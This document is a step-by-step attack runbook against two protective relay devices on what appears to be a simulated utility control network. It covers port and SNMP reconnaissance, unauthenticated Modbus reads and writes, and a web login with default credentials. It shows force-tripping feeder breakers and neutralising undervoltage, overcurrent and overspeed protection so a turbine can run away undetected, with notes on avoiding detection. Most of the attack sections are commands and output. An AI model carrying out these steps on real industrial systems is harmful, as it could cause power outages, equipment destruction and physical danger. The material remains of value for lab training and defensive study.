Runbook: relay IEDs

Entry point

This picks up from the engineering workstation. You have a shell there.

PS C:\Users\engineer>

Two protective relay IEDs sit on the control network: uupl-relay-a at 10.10.3.31 and uupl-relay-b at 10.10.3.32. Each controls one distribution feeder. They are identical in implementation; the differences are identity and the feeder they protect. The examples below use relay-a. Repeat on relay-b.

Port survey

PS C:\Users\engineer> nmap -sV -p 502,8081 10.10.3.31
Starting Nmap 7.93 ( https://nmap.org ) at <timestamp>
Nmap scan report for 10.10.3.31
Host is up (0.000064s latency).

PORT     STATE SERVICE          VERSION
502/tcp  open  mbap?
8081/tcp open  blackice-icecap?

Nmap done: 1 IP address (1 host up) scanned in 165.63 seconds

Port 502 is Modbus TCP. Port 8081 is a web management interface. SNMP is on UDP, not shown above.

PS C:\Users\engineer> nmap -sU -p 161 --script snmp-sysdescr 10.10.3.31
Starting Nmap 7.93 ( https://nmap.org ) at <timestamp>
Nmap scan report for 10.10.3.31
Host is up (0.00011s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: REL-200a Protective Relay, Hex Computing Division, firmware 2.0.1
|_  System uptime: 5m44.71s (34471 timeticks)

Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds

REL-200a, firmware 2.0.1. Run the same scan against 10.10.3.32:

PS C:\Users\engineer> nmap -sU -p 161 --script snmp-sysdescr 10.10.3.32
Starting Nmap 7.93 ( https://nmap.org ) at <timestamp>
Nmap scan report for 10.10.3.32
Host is up (0.000091s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: REL-200b Protective Relay, Hex Computing Division, firmware 2.0.1
|_  System uptime: 8m12.80s (49280 timeticks)

Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds

REL-200b, same firmware. Two units, two feeders, same management surface.

Reading relay state

Modbus TCP on port 502 requires no credentials.

Read the protection thresholds from holding registers:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.31 502 holding 0 3
[196, 3300, 200]

Three values: undervoltage threshold (V), overspeed threshold (RPM), overcurrent threshold (A). The defaults are 196 V (85% of 230 V nominal), 3300 RPM, and 200 A.

Read live measurements from input registers:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.31 502 input 0 4
[223, 72, 487, 2927]

Four values mirrored from the PLC: line voltage (V), line current (A), frequency x10 (so 487 = 48.7 Hz), turbine RPM. Run the command several times to watch them drift. Note that the relay is reading the PLC directly; the values here and in the PLC input registers track each other with a short lag.

Read the trip coil:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.31 502 coil 0 2
[False, False]

Coil 0 is the trip status (False = relay closed, breaker in). Coil 1 is the breaker state (False = breaker closed). In normal operation both are False. If either is True, the feeder is disconnected.

Web interface

The relay serves a management page at port 8081 without requiring credentials to view live status:

PS C:\Users\engineer> curl -s http://10.10.3.31:8081/ -o /dev/null -w "%{http_code}"
200

The response is HTML. The page title is REL-200A, Dolly Sisters Feeder. It shows relay state, live voltage, current, frequency, and RPM, each with a status indicator against its threshold. A login form sits below the status table.

Log in with the default credentials:

PS C:\Users\engineer> curl -s -c cookies.txt -X POST http://10.10.3.31:8081/login -d "username=admin&password=relay1234" -L -o /dev/null -w "%{http_code}"
200

Authenticated, the page adds a protection settings form and a force-trip button. The settings form shows the current threshold values and accepts new ones. The force-trip button opens the feeder breaker immediately and logs the event as a manual trip.

Protection logic

The relay monitors three conditions against its thresholds continuously:

  • Undervoltage: voltage < 196 V while current > 5 A. The current qualifier filters noise at zero-load; a dead feeder with no load does not read as a fault.

  • Overcurrent: current > 200 A.

  • Overspeed: RPM > 3300.

When any condition is met, the relay sets its trip coil, opens the breaker, and publishes a trip event to uupl/relay/a/trip on the MQTT broker. The trip event records the cause, voltage, current, and RPM at the moment of operation.

After 10 seconds the relay attempts a single reclose: it clears the trip coil, closes the breaker, waits one second, then re-reads the measurements. If the fault condition has cleared, the relay stays closed. If the fault persists, it re-trips and records a reclose-failed event. It does not attempt a second reclose.

The trip coil latches. A trip caused by a momentary disturbance (brief undervoltage, transient overcurrent) clears itself via the reclose sequence. A trip with a sustained fault stays open until the fault clears on its own during the reclose window, or until someone manually clears the coil.

Force trip via Modbus

Writing True to coil 0 trips the relay immediately:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 coil 0 true
Written true to coil[0] on 10.10.3.31:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.31 502 coil 0 2
[True, True]

Both coils go True: relay tripped, breaker open. The relay logic loop detects that the coil changed to True without a fault condition and logs the event as remote. This is the attacker-visibility footprint: the trip log records a remote command at the time of the write, with voltage and current from that moment.

After 10 seconds the reclose sequence fires. Since no fault condition exists, the relay reclosees and both coils return to False:

PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.31 502 coil 0 2
[False, False]

To keep the feeder open beyond the reclose window, write the coil True again within 10 seconds, or first corrupt the measurements the relay reads by manipulating the PLC input registers.

Modifying protection thresholds

Threshold changes via Modbus require no credentials. The relay reads its own holding registers for every evaluation cycle; a write takes effect in the next cycle (within 200 ms).

To disable undervoltage protection, set the threshold to zero:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 holding 0 0
Written 0 to holding[0] on 10.10.3.31:502
PS C:\Users\engineer> python Tools\modbus_read.py 10.10.3.31 502 holding 0 3
[0, 3300, 200]

With undervoltage threshold at 0, voltage can drop to zero without triggering a trip. The undervoltage check is voltage < threshold AND current > 5, so setting the threshold to zero makes the left side always False.

Raising the overcurrent threshold masks load-induced trips:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 holding 2 65535
Written 65535 to holding[2] on 10.10.3.31:502

Raising the overspeed threshold prevents the relay from tripping on turbine runaway:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 holding 1 65535
Written 65535 to holding[1] on 10.10.3.31:502

With all three thresholds neutralised, the relay stays closed regardless of process state. The PLC’s own trip coil (coil 0 at 10.10.3.21) still operates independently; the relay does not read PLC coils, only PLC input registers.

Restore defaults:

PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 holding 0 196
Written 196 to holding[0] on 10.10.3.31:502
PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 holding 1 3300
Written 3300 to holding[1] on 10.10.3.31:502
PS C:\Users\engineer> python Tools\modbus_write.py 10.10.3.31 502 holding 2 200
Written 200 to holding[2] on 10.10.3.31:502

Nuisance trip vs sustained fault

The reclose sequence creates a visible distinction between a momentary disturbance and a sustained fault. After a momentary disturbance the trip log shows a single event with the original cause. After a sustained fault it shows the original cause followed by reclose-failed. Monitoring systems that watch only the final state of the trip coil see the same thing either way; only the event log tells the difference.

A threshold manipulation that raises the overspeed limit to 65535 looks, from the trip log, like a relay that never trips on overspeed. The process may reach dangerous RPM while the relay holds the feeder in. Downstream monitoring that reads trip events sees normal operation. The anomaly appears only in the PLC telemetry, where RPM exceeds the normal 3300 limit without a corresponding relay trip.

Relay-b

10.10.3.32 is uupl-relay-b, Nap Hill Feeder. It controls a separate breaker (actuator at 10.10.3.54) and publishes trips to uupl/relay/b/trip. All commands above run identically against .32. Changes to relay-a thresholds have no effect on relay-b and vice versa; each relay holds its own register values.

A change on one relay without a matching change on the other is operationally implausible if the intent is to affect both feeders quietly. Inconsistent thresholds between the two units can raise flags in a differential protection audit, though neither relay communicates with the other.